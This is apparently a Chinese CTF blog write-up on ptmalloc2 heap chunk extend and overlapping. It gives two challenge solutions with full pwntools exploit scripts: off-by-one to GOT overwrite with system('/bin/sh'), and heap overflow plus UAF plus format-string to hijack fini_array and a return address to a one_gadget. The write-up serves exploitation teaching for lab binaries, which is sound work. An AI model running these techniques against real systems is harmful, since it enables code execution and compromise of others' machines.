CTF-wiki 真是太好一学习网站了。

原文链接:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping/#_1

# Chunk Extend

# 实现条件

要实现 chunk extend 需要满足的条件:有堆漏洞,并且该漏洞可以修改 chunk header 里的数据。

# 实现原理

原理大概就是:

①:ptmalloc 通过 chunk header 里面的 prev_size 和 size 来对前后堆块进行定位。

②:ptmalloc 通过查看下一个堆的 prev_inuse 值来判断该 chunk 是否被使用。(不能通过 prev_size 来判断,因为虽然 **” 该 chunk 为空时,下一个堆块的 pre_size 会记录该 chunk 的大小。“** 但是不能判断 pre_size 里记录的数据到底是上一个 chunk 的 size 还是上一个 chunk 的末尾数据)

因此我们如果能控制 chunk header 里面的数据,就可以导致 chunk overlapping,可以控制 chunk 里面的内容,如果可以控制的 chunk 内容范围里存在指针等,就可以修改指针值达到任意地址读写或者控制程序流程。

# 实现步骤

个人笔记:①:fastbin 由于追求效率,安全检验机制机制较弱,free 时找到 fastbin 链表中符合大小的堆块就直接加入了,不会检测 pre_insue 的值。同时,物理地址相邻的 fastbin 不会合并。

​ ②:fastbin 的最大使用范围为 0x70,若不属于 fastbin,在合并时会与 topchunk 合并。因此 free 的堆块必须和 top chunk 中间需要有一个小堆块将这两者隔开。

​ ③:通过 extend 前向 overlapping,利用的是 unlink 机制,修改 free 掉的堆块的 prev_insue 值和 prev_size 值即可。

具体见上文中链接。

# 例题一

链接:https://pan.baidu.com/s/1gJCCP81xegAFZGPs7hJVRw
提取码:F1re

很友好的一道题,题目是常见的菜单。

checksec 一下:

10

gdb 调试后还原堆结构体:

1

  • 功能一:create_heap: 在选择创造堆块的功能时,系统会先自动分配了 0x20 的内存,拿来存放结构体。然后可以分配用户输入的大小的堆。

  • 功能二:edit_heap:能修改堆块的 content 值,查看 read_input 函数后发现存在 off-by-one 漏洞,可以通过该漏洞在一定条件下覆盖下一个堆块的 size 值。

  • 功能三:show_heap:将 content size 的值和 content 打印出来。

  • 功能四:delete_heap:先 free 掉我们的 content 部分,然后 free 掉系统帮我们自动申请的 struct 部分,最后将堆指针置为零。

# 基本思路

该题满足了实现 chunk-extend 的两个条件。因此我的基本思路是:

①:创建两个堆,利用 edit_heap 函数的 off-by-one 漏洞修改第一个堆的 content 值,然后覆盖修改第二个堆的 chunk header 里面的 size 值。

②:通过 delete_heap 函数 free 掉第二个堆,再通过 create_heap 函数重新申请回来,造成 chunk-overlapping,即可使 chunk header 里的指针域处于可修改的 content 域中,可控制指针,达到任意地址跳转和读写。

③:改写 free_got 成 system 函数地址,并在 free 的参数里放置 “/bin/sh", 最后利用 delete_heap 函数调用 free 函数实现 get shell。

# 实现步骤①:

这是正常创建两个堆后的内存图,content size 均为 0x10.

2

由于我们能输入到 content 里面的数据是 content size+1 个,因此我们最多只能覆盖到 0x6032d0 的第一个字节,也就是覆盖到第二个堆块的 prev_size 字节。但我们知道,前一个堆不为空的时候,该堆的 prev_size 是不起作用的,置为 0,而此时该堆的 prev_size 是可以拿来储存物理相邻的前一个堆的数据的 (该机制被称为 chunk 的空间复用)。且根据堆分配机制,用户请求的字节是拿来储存数据的,若我们一开始给 heap1 请求 0x18 的内存,由于 chunk 空间复用的关系,系统只会多分配 0x10 的内存给 heap1,而由于 edit_heap 函数里的:

1
read_input(*((void **)*(&heaparray + v1) + 1), *(_QWORD *)*(&heaparray + v1) + 1LL);

因此我们可以读入 0x19 个字符,此时就可以覆盖到 heap2 的 size 字段。

实操:

先定义基本操作函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def create(size,content):
r.recvuntil(b":")
r.sendline(b'1')
r.recvuntil(b"Size of Heap : ")
r.sendline(str(size))
r.recvuntil(b"Content of heap:")
r.sendline(content)

def edit(index,content):
r.recvuntil(b":")
r.sendline(b'2')
r.recvuntil(b"Index :")
r.sendline(str(index))
r.recvuntil(b"Content of heap : ")
r.sendline(content)

def show(id):
r.recvuntil(b":")
r.sendline(b'3')
r.recvuntil(b"Index :")
r.sendline(str(id))

def delete(id):
r.recvuntil(b":")
r.sendline(b'4')
r.recvuntil(b"Index :")
r.sendline(str(id))

分配 heap1 和和 heap2,以及通过 edit 函数覆盖 heap2 struct 结构体里的 size 字段。

1
2
3
4
create(0x18,b'aaaaaaaa')
create(0x10,b'bbbbbbbb')
pad = b'/bin/sh\0'+b'a'*0x10+b'\x41'
edit(0,pad)

这里 pad 里面为什么要加入’/bin/sh\0’先埋一个伏笔。

此时查看一下堆:

3

可以看到 heap2 的 size 字段确实被覆盖掉了。

# 实现步骤②:

经过步骤一,heap2 的 struct 部分已经被系统看做是一块 0x40 大小的堆块(称作 s1,以便后面好讲述),content 部分是一块 0x20 大小的堆块(称作 s2)。这两个堆块的大小都属于 fastbin 的范围,由于 fastbin 由于追求效率,安全检验机制机制较弱,free 时找到 fastbin 链表中符合大小的堆块就直接加入了,不会检测 pre_insue 的值。同时,物理地址相邻的 fastbin 不会合并,因此我们直接 free 掉 heap2 就会将 s1 与 s2 置入 fastbin 链表中(这道题我的环境置入了 tcachebins 链表,应该是由于我的本地 libc 高于它的版本导致的,不过 tcachebins 与 fastbin 性质相似。)

如图,已含有 0x20 与 0x40 大小的空闲堆。

4

同时,原堆处变成了这样:

5

此时我们 create 新的 heap2 时,系统会先自动分配一个 0x20 大小的结构体,这时 tcachebins 链表里 0x20 空闲的堆块就被拿回来继续用了,也就是上图中的 2,若我们申请 0x30 大小,系统会返回 0x40 大小的堆块,而 tcachebins 链表中也有 0x40 空闲的堆块,也就是上图中的 1。(注意,申请相同大小才能从 fastbin 或者 tcachebins 中直接取堆块,因此申请 0x30 是有讲究的)。这样我们就实现了原来的 struct 部分拿来充当 content,而原来的 content 部分拿来充当 struct。而我们能够输入 0x31 大小的数据,足够覆盖到新 struct 部分的指针处了。而 edit_heap 函数可以改变指针所指地方的内容,show_heap 又可输出指针所指地方的内容。因此我们就实现了任意地址读写的功能。

同时由于 edit_heap 函数里读入字符串长度依旧由 struct 部分里的 content size 决定:

1
read_input(*((void **)*(&heaparray + v1) + 1), *(_QWORD *)*(&heaparray + v1) + 1LL);

所以新 struct 里的 content size 还是得写入 0x30,。)

同时这道题没有开启 FULL RELRO, 因此可以改写函数 GOT 表。最终我们改写 free 函数 GOT 表后,调用 delete_heap 函数,第一个 free 里的参数是:content 里面的值,故我们之前在 heap1 的 content 里布置了’/bin/sh\0’, 其中‘\0’拿来截断,伏笔消除。

1
free(*((void **)*(&heaparray + v1) + 1))

# exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/heapcreator')
elf = ELF('/mnt/hgfs/ubuntu/heapcreator')
libc = ELF('/mnt/hgfs/ubuntu/libc.so.6')
r = process(['/mnt/hgfs/ubuntu/heapcreator'],env={"LD_PRELOAD":"./libc.so.6"})

def create(size,content):
r.recvuntil(b":")
r.sendline(b'1')
r.recvuntil(b"Size of Heap : ")
r.sendline(str(size))
r.recvuntil(b"Content of heap:")
r.sendline(content)

def edit(index,content):
r.recvuntil(b":")
r.sendline(b'2')
r.recvuntil(b"Index :")
r.sendline(str(index))
r.recvuntil(b"Content of heap : ")
r.sendline(content)

def show(id):
r.recvuntil(b":")
r.sendline(b'3')
r.recvuntil(b"Index :")
r.sendline(str(id))

def delete(id):
r.recvuntil(b":")
r.sendline(b'4')
r.recvuntil(b"Index :")
r.sendline(str(id))

def main():
free_got=elf.got["free"]
print(hex(free_got))
create(0x18,b'aaaaaaaa')
create(0x10,b'bbbbbbbb')
pad = b'/bin/sh\0'+b'a'*0x10+b'\x41'
edit(0,pad)
delete(1)
gdb.attach(r)
pause()
write_free_got = b'a'*0x20+p64(0x30)+p64(free_got)
create(0x30,write_free_got)
show(1)
r.recvuntil("Content : ")
free_addr = u64(r.recvuntil("\n")[:-1].ljust(8,b'\0'))
r.recvuntil("Done !")
print(hex(free_addr))
libc_base = free_addr-libc.sym['free']
system_addr = libc_base+libc.sym['system']
edit_free_got = p64(system_addr)
edit(1,edit_free_got)
delete(0)
r.interactive()
# gdb.attach(r)
# pause()



main()

# 例题二:

链接:https://pan.baidu.com/s/1DgcjxvEG33CsZMqIJeH5tw
提取码:F1re

题目是一个订书系统。定义了三个堆块,book1 的堆块,book2 的堆块,dest 的堆块以及最后储存所有订书信息的堆块 v5。

checksec 一下

11

实现了功能:

①:修改 book1 和 book2 的堆块里的内容。

②:删除某一个订单。

③:结束订书,打印订单结果。

因为我写这个博客写了好几天,因此这里面 gdb 调试的地址不太相同。

# 漏洞函数

# 堆溢出

6

函数只要不键入回车就不会停止输入,有任意长度的堆溢出漏洞。

# UAF

7

函数 free 堆块后没有将堆指针置为 NULL。存在 UAF 漏洞。

# 格式化字符串漏洞

8

以及函数退出前有一个格式化字符串漏洞。

# 奇怪的字符输入长度

9

按理来说只用读入一个字符即可,在程序开了 canary 保护下能读入这么多字符可能存在伏笔。

# 思路分析

堆块里没有指针可以让我们修改,因此我们只能通过格式化字符串漏洞控制程序流程,控制 dest 里面的内容来实现篡改返回地址或者函数 GOT 表等。而 dest 里的内容本是固定的 "Your order is submitted!\n",因此我们需要用前两个漏洞来实现对格式化字符串漏洞的利用。

我的最初想法通过堆溢出直接覆盖 dest 的值。后来发现:

1
2
3
4
case '1':
puts("Enter first order:");
sub_400876(v6);
strcpy(dest, "Your order is submitted!\n");

对 dest 的赋值处于堆溢出漏洞之后,也就是说我们用堆溢出的方式无法覆盖改写 dest 里的内容。既然无法通过堆溢出,就只剩利用 submit 功能里的 strcpy 与 strcat 函数了。

那我们的步骤是:

①:适当计算后控制 dest 里的内容,第一次利用格式化字符串漏洞泄露出 libc 基址和劫持程序返回地址(修改 fini_array [0])。

关于 fini_array 的介绍放在文章末尾。

通过覆盖 book2 的堆块 size 字段为 0x151,free book2 后执行 submit 函数,可达到 chunk extend 和 chunk overlapping 的目的。可以让 v5 堆块(储存所有信息的堆块)与原 book2 和 dest 堆块重合。然后通过 strcat 和 strcpy 操作就可以达到控制 dest 内容的目的。

②第二次利用格式化字符串漏洞修改返回地址为 one_gadget 地址。(由于 main 函数返回后没有调用任意函数,修改函数 GOT 表无法达到 getshell 的目的)

# 具体实现:

计算一下如何往 book1 和 book2 堆块里填充内容才能在 dest 里构造出合理的格式化字符串。

12

实现 chunk overlapping(还没有执行 submit 函数)我们的堆分布是这样的:

13

由 Submit 函数:

1
2
3
4
5
6
7
strcpy(a1, "Order 1: ");
v3 = strlen(a2);
strncat(a1, a2, v3);
strcat(a1, "\nOrder 2: ");
v4 = strlen(a3);
strncat(a1, a3, v4);
*(_WORD *)&a1[strlen(a1)] = 10;

执行 submit 函数后:

新申请的堆块 v5 里的内容是:

1
Order 1: + chunk1 + \n + Order 2: + chunk2 + \n

而 chunk2 已经被 delete 掉了,故复制 chunk2 时其实复制的是 Order 1: +chunk1 + \n + Order 2:

所以 v5 里的内容应该是:

1
Order 1: + chunk1 + \n + Order 2: + Order 1: + chunk1 + \n + Order 2:

所以如果我们想让 chunk1 的内容刚好为 dest 的起点,就需要满足:

1
2
size(Order 1: + chunk1 + \n + Order 2: + Order 1:)==0x90
size(chunk1)==0x90-28=0x74

所以我们往 chunk1 里填入内容时,最后应该填入 0x80-0x74 个’\0’字符。

这样就能达到 chunk1 的内容刚好在 dest 的起点。

# 构造第一次 fmt

第一次的目的有:

  • 修改 fini_array [0] 为 main 函数地址

  • 泄露 libc_base

  • 泄露一个栈地址(作用待会说)

首先去修改 fini_array [0],由于格式化字符串在堆上,本来应该栈迁移到堆上利用格式化字符串漏洞,但是之前说到奇怪的菜单输入长度就起作用了,利用奇怪的输入长度我们可以往栈上写入 fini_array [0] 的地址。

查看一下 fini_array [0] 处的值:

1
2
pwndbg> x/x 0x6011b8
0x6011b8: 0x00400830

而 main 函数地址为 0x4003a9,因此我们只需要改后两位的地址。

同时找到 libc_start_main_240 的偏移为 31,顺便把该地址泄露出来。

最后,当我们成功执行第一次 fmt 后,程序会重新进入 main 函数,这时的 main 函数返回地址会与第一次执行的 main 函数有一个固定的偏移,我们最终的目的是改写第二次执行的 main 函数返回地址为 one_gadget 地址,因此我们需要获取第二次 main 函数的返回地址,因此需要找栈上一个不变的地址,借此算出第二次 main 函数返回地址。

gdb 断点打在 printf 上,在第一次 printf (dest) 时,我们调试后发现,栈上储存了一个栈上的地址,且两地址间固定偏移为 0xf0:

17

该偏移为 28。

同时我们继续运行到第二次 printf (dest) 时,单步 n 执行下去,找到第二次 main 函数的返回地址:

18

1
0x7fffd740e4c0-0x7fffd740e2d8=0x1e8

所以储存第二次 main 函数返回地址的栈地址我们也找到了。

1
2
3
4
5
6
7
fini_array=0x6011b8 #0x400830
main_addr=0x400a39
content1=b'%'+str(0xa39).encode()+b'c%13$hn'
content1+=b'-%31$p'+b'-%28$p'
content1=content1.ljust(0x74,b'a')
content1=content1.ljust(0x88,b'\0')
content1+=p64(0x151)

第一次 fmt 执行:

1
2
3
4
delete(2)
edit(1,content1)
payload = b'fffffff'+p64(fini_array)
submit(payload)

处理接受到的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
r.recvuntil("-")
r.recvuntil("-")
r.recvuntil("-")
r.recvuntil("-")
r.recvuntil("-")
libc_start_main_240=int(r.recv(14),16)
libc_base=libc_start_main_240-0x20830#调试计算libc_start_main_240与libc_base之间固定偏移为0x20830
print("libc_base:"+hex(libc_base))
r.recvuntil("-")
stack_addr = int(r.recv(14),16)
print("stack_addr: "+hex(stack_addr))
one_gadget = libc_base+0x45216
ret_addr = stack_addr-0x1e8
print("ret_addr: "+hex(ret_addr))

可以看到我们确实控制程序流程到执行第二次 main 函数

19

# 第二次执行 fmt

这次的任务只有一个了,改返回地址!前面我们已经获取到了 ret_addr,同样通过奇怪的菜单输入长度弄到栈上后,通过调试我们发现后 3 个字节都不同,因此我们需要两次 $hn 修改。

往栈上写 ret_addr,获取 one_gadget 低四位的值:

1
2
3
4
payload2=b'fffffff'+p64(ret_addr)+p64(ret_addr+2)
one_gadget = libc_base+0x45216
low_byte=one_gadget&0xffff
high_byte=(one_gadget>>16)&0xffff

然后开改!这里由于要使用两次 $hn,因此需要考虑前后字节数大小关系的问题,有两种解决方法:

①写一个 if-else 语句,调整 low_byte 和 high_byte 的修改顺序。

②像我一样,碰运气让 high_byte 大于 low_byte 就行(多运行一两次就行啦)

1
2
3
4
5
6
7
8
content2=b'%'+str(low_byte).encode()+b'c'+b'%13$hn'+b'%'+str(high_byte-low_byte).encode()+b'c'+b'%14$hn'
content2=content2.ljust(0x74,b'a')
content2=content2.ljust(0x80,b'\0')
content2=content2+b'\0'*8+p64(0x151)
delete(2)
edit(1,content2)
submit(payload2)
r.interactive()

最后成功 getshell!

# fini_array

  • main 函数并不是程序的起点,也不是程序的终点

  • 14

  • 图片出处:http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html

  • fini_array 是 libc_csu_fini 函数里面的一个列表,当函数退出时会调用这个数组里面储存的一个或者两个函数,然后程序才会真正退出。

  • 静态链接程序:fini_array 数组大小为 0x10,储存了两个地址,分别是 fini_array [0] 和 fini_array [1],退出程序时先执行 fini_array [1] 再执行 fini_array [0],因此在静态程序中,我们可以令 fini_array [1] 的地址为一个地址 P,然后再令 fini_array [0] 的地址为 libc_csu_fini 的地址,这样就能达到循环执行地址 p 处的代码,直到 fini_array [0] 被覆盖为其他值。

  • 动态链接程序:fini_array 数组大小为 0x8,只储存了一个 fini_array [0],因此对 fini_array 的劫持只能利用一次,不能像静态链接程序那样无限循环使用

# 如何找 fini_array?

1.64 位动态链接程序:

​ ①查看符号表:在 gdb 中用 elf 命令,.fini_array 开始的地址就是 fini_array [0] 的地址:

15

​ ②在 IDA 里 ctrl+s 寻找 fini_array:

16

2.64 位静态链接程序:

​ 64 位静态链接程序是没有符号表的,寻找 fini_array 的方法:

​ (1) readelf -h programname 查看程序入口地址,gdb 将断点打在程序入口地址处。

​ (2) 然后找到类似于如下的代码片段:

1
mov     r8, offset sub_403B20 ; fini

​ (3) 用 x/i 命令去查看 0x403B20 地址处。像如下这种即为 fini_array 的地址。

1
2
lea    rax,[rip+0xb24f8]#fini_array[0]
lea rbp,[rip+0xb2501]#fini_array[1]